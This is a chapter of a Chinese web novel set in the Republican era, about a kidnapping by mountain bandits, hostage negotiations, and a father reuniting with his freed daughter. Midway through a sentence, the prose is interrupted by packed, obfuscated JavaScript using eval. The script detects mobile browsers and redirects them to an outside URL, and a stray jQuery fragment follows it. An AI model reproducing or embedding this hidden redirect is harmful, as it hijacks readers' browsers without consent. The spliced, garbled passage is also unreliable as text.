19. 第 19 章
作品:《被军阀公子退婚后[民国]》 浔美没再继续讲话,她相信土匪不能一概而论,其中有部分人可能是是走投无路误入歧途,但更多的人确实如他所说罪有应得,她不可能明火执仗站在土匪那边。
言瑾行见她似乎被说服,垂眸乖顺的低下头,奇怪的是心中不仅不觉舒畅,反而有些懊恼,后悔方才语气太冲了,本来想好好和她讲话的,怎么就见她和那土匪在一起就内心就燥郁的厉害,一点都不像他,口不择言起来。
转念想到她对自己毫不留情的拒绝,却对别人温柔和善,处处为人开脱,心情不由更加郁徂。
想到梦泽崮的土匪,洵美心情复杂,不想再说话,转身进了屋子。
草药捣成泥状,包在脚上凉凉的,第二天脚就没那么疼,也不怎么肿了,鸡蛋她不会做,也没有锅碗,索性直接交给了山下送饭的大娘,做大锅饭时一起做了。齐龙知道后,暗暗责怪自己思绪不周到,决定以后每次上山直接给林小姐带两个煮鸡蛋上来。
齐虎盯着鸡窝里老母鸡的鸡屁股想着一天能下几个,还是去村里收一些现成的,看着儿子魂不守舍的样子,齐母就气不打一处来,“又上山,娘跟你说过多少次了,土匪是那么好当的?咱们家以前那是日子没法过了,你爹被抓了壮丁,土匪月月下山抢粮,你大哥不得已才上山做了马匪,如今混成土匪头子,眼见是回不了头了。”
将手里搓的玉米棒子“砰的”扔到簸箕里,她指着自己的小儿子,“你可倒好,生怕自己死的慢,天天往山上跑,拽都拽不住,山上有什么啊,有天仙还是有金子银子,我看你脑子全是尿泡,猪油蒙了心分不清好赖了!”
“咱们老齐家本本分分一辈子,你这个熊玩意儿对得起你大哥吗?!”
齐龙闷着头听他娘骂人,一点不觉得难受,反而美的冒泡。
山上没有金子银子但山上有天仙。
他笑着接过簸箕,吭哧吭哧的开始剥玉米,小伙子正是劲儿大的时候,一簸箕玉米他三五分钟就干完了,“娘,以后这种活你喊我就行,你劲儿小,剥起来仔细手疼。”
齐母被他这幅样子弄的也不好再继续撒气,孩子知道心疼娘,也对比村里那些不孝子,她也算有福气了,儿子聪明能干,大高个又板正,村里给他说亲的人事是真不少,就这孩子总是不开窍,等给他娶上一房媳妇,再生上一窝大胖小子,她也算对得起她男人了。
齐龙自然不知道齐母心中所想,这个年纪的少年正是爱幻想的时候。
他知道林小姐是不会留在这个大山里的,但只要能默默地关心她,每天能看到她,其实他就已经心满意足了,等大哥和上边谈妥了,带着兄弟们一起被招安,说不定他还能混个营长当一当呢,到时候他也有了正经身份,在林小姐面前也不至于每次都手足无措的。
过了两天,土匪头子再次出现,众人方知他名叫齐虎,自称山东护国军总司令,他面容黝黑方正,脸上带着笑容,身后跟着两个陌生洋人与一个中国人,他们带来了最新消息,美英等各国列强已经通电北京政府,要求立即采取行动,保证人质安全,营救外国人质,其余华人人质的家族也纷纷进行了抗议,华东银行联合外商银行暂停对政府的短期借款,并通过报纸刊载引导舆论施加压力。
迫于压力,大总统连夜召开紧急国务会议,并给山东督军裴鉴发电报,“匪势浩大,非跟踪追剿不足以救回被掳之人;然操之过急,又恐危及旅客性命。此事关涉外交至重,现公使团已面提严重抗议。究竟如何办理方能妥善,望诸君共同筹划,以策万全。”
这份电报态度模糊,能起多大作用不得而知,只从裴鉴角度看,其隶属于苏系军阀,即使政府态度明确,其也未必会执行,毕竟苏系军阀首领曹湫华对北京政府并不买账。
关键是曹湫华的电报,“准外交部齐电各节,荩筹周密,务祈先以和平手段救出被掳旅客,再行进剿。”
“和平手段”解决大劫案,一时间,山东境内冠盖云集,无不是妄想借此大案立功之人。官员、乡绅,还有各地的新闻记者,皆聚集来此,旅店、茶楼、饭店,终日客满,甚至连附近地区的小商贩都赶来此地,大捞了一笔。
经过几方初步谈判,土匪方提出三个条件,其一,围山士兵撤出十里之外,其二,齐虎所率护国军一千五百余人要被编为正规军混成旅,齐虎任旅长并为齐虎部补充枪支弹药与粮食。
为表示诚意,匪方允许外界送食物给人质,并释放全部女客,北京政府方面由督军裴鉴与省长出面,除了枪支弹药数量有待商榷,其余条件都可以接受。
最后由国际红十字会通过土匪防区,派遣人员携带食品与衣物送给土匪窝,也就是梦泽崮坞堡内被扣押的人质与土匪。
握着“洋票”这一筹码,齐虎大获全胜,志得意满。
然而在云泽崮解困之时,齐虎又突然变卦,命令部下开枪射击撤退的官兵并且提出将云泽崮周围鲁西南苏北土匪全部收编。
谈判破裂,梦泽崮再次被围困。
洵美与所有女客已经安全下山,此时山上人质只剩下12名中国人与10名洋人。
林远航亲自从南京赶过来,洵美一下山,就被汽车接到一处公寓,从汽车里到沙发上,林远航一直握住她的手,仿佛再说不出别的话,只不住的念叨着,“回来就好,回来就好。”
他的声音不受控制的哽咽了一下,商场上从来都刚硬坚强的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311378|198864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此刻却虎目含泪,“我的儿受苦了,都怪爸爸,当初不应该让你去苏州……”
洵美将头埋进他的怀里,摇摇头。
五十多岁的人了,再说不下去,只紧紧握住女儿冰凉瘦弱的双手,“一会儿乖乖的让医生检查一下,好好睡一觉,就当是一场噩梦,梦醒了都会过去的。”
洵美带着哭腔嗯了一声,将自己深深地埋进去,“爸爸,我好害怕,我害怕自己回不来,我还梦见你又生了一个孩子,你好喜欢他,我好不容易回来你却赶我走。”
听到一半,林远航本来伤感的神情顿时哭笑不得,摸着她的头发,神色认真斩钉截铁道,“胡说,爸爸这辈子只有你妈一个夫人,也只会有你一个孩子。”
洵美破涕为笑,有些孩子气的擦了擦鼻涕,眸光中是难得的倔强,“反正我只有一个爸爸,你也只能有我一个孩子!”
林远航失笑,女儿虽然已经长成大姑娘了,但他心中总觉得她还是个小孩子,脑海中闪现的总是女儿幼时稚嫩乖巧的模样,他不假思索道,“当然。”
他摸着女儿有些凌乱枯燥的的头发,手掌摸了摸脊背,瘦的脊柱都凸起来了,他内心着实酸楚,从小到大闺女哪里受过这样的罪,他的声音醇厚带着安抚,抚慰着女儿受惊的心,“蘅儿,如果你愿意,你就是日后林家的掌权人,你不愿意,爸爸就找职业经理管事,爸爸打拼的一切,都是我女儿的。”
洵美心满意足,她在意的不是钱,是爸爸毫不犹豫的给与承诺,在爸爸温柔的目光中,她仿佛泡在一汪温水中,暖融融的,从头到脚熨帖极了。
难免又想到还滞留在山上的言瑾行,询问林父,他只道放心,凭他母家的实力,即便兴茂洋行不作为,他也绝对不会有事。
云泽崮上,言瑾行面无表情的坐在石凳上。
该死的土匪,突然变卦,连累他的计划无法实行,那该死的外室和老头子那个该死的私生子都要登堂入室了吧。
他攥紧拳头,想到半个月前,他偶然得知老头子竟然还有个养了二十多年的私生子,就比他小一岁,真是可笑啊,枉他亲娘当年下嫁,一心一意扶持他,他做得好一手表面功夫,竟无一人怀疑,到头来全是假的。
这帮土匪背后也不知是晋系还是黑系,不知听了谁的吩咐,脑袋一热做出这等蠢事,能与中央谈判不过仰仗这一帮洋人人质,竟以为此事可为免死金牌,死到临头也不知道,蠢不可及。
他越想越烦,一脚踢到凸起的门板上,竭力压制内心的烦躁与暴虐,思考可用的人手。
本以为此事不过三五天就可解决,待他下山自有法子无声无息处理掉那两个东西,可惜只能让他两人多活几天了。

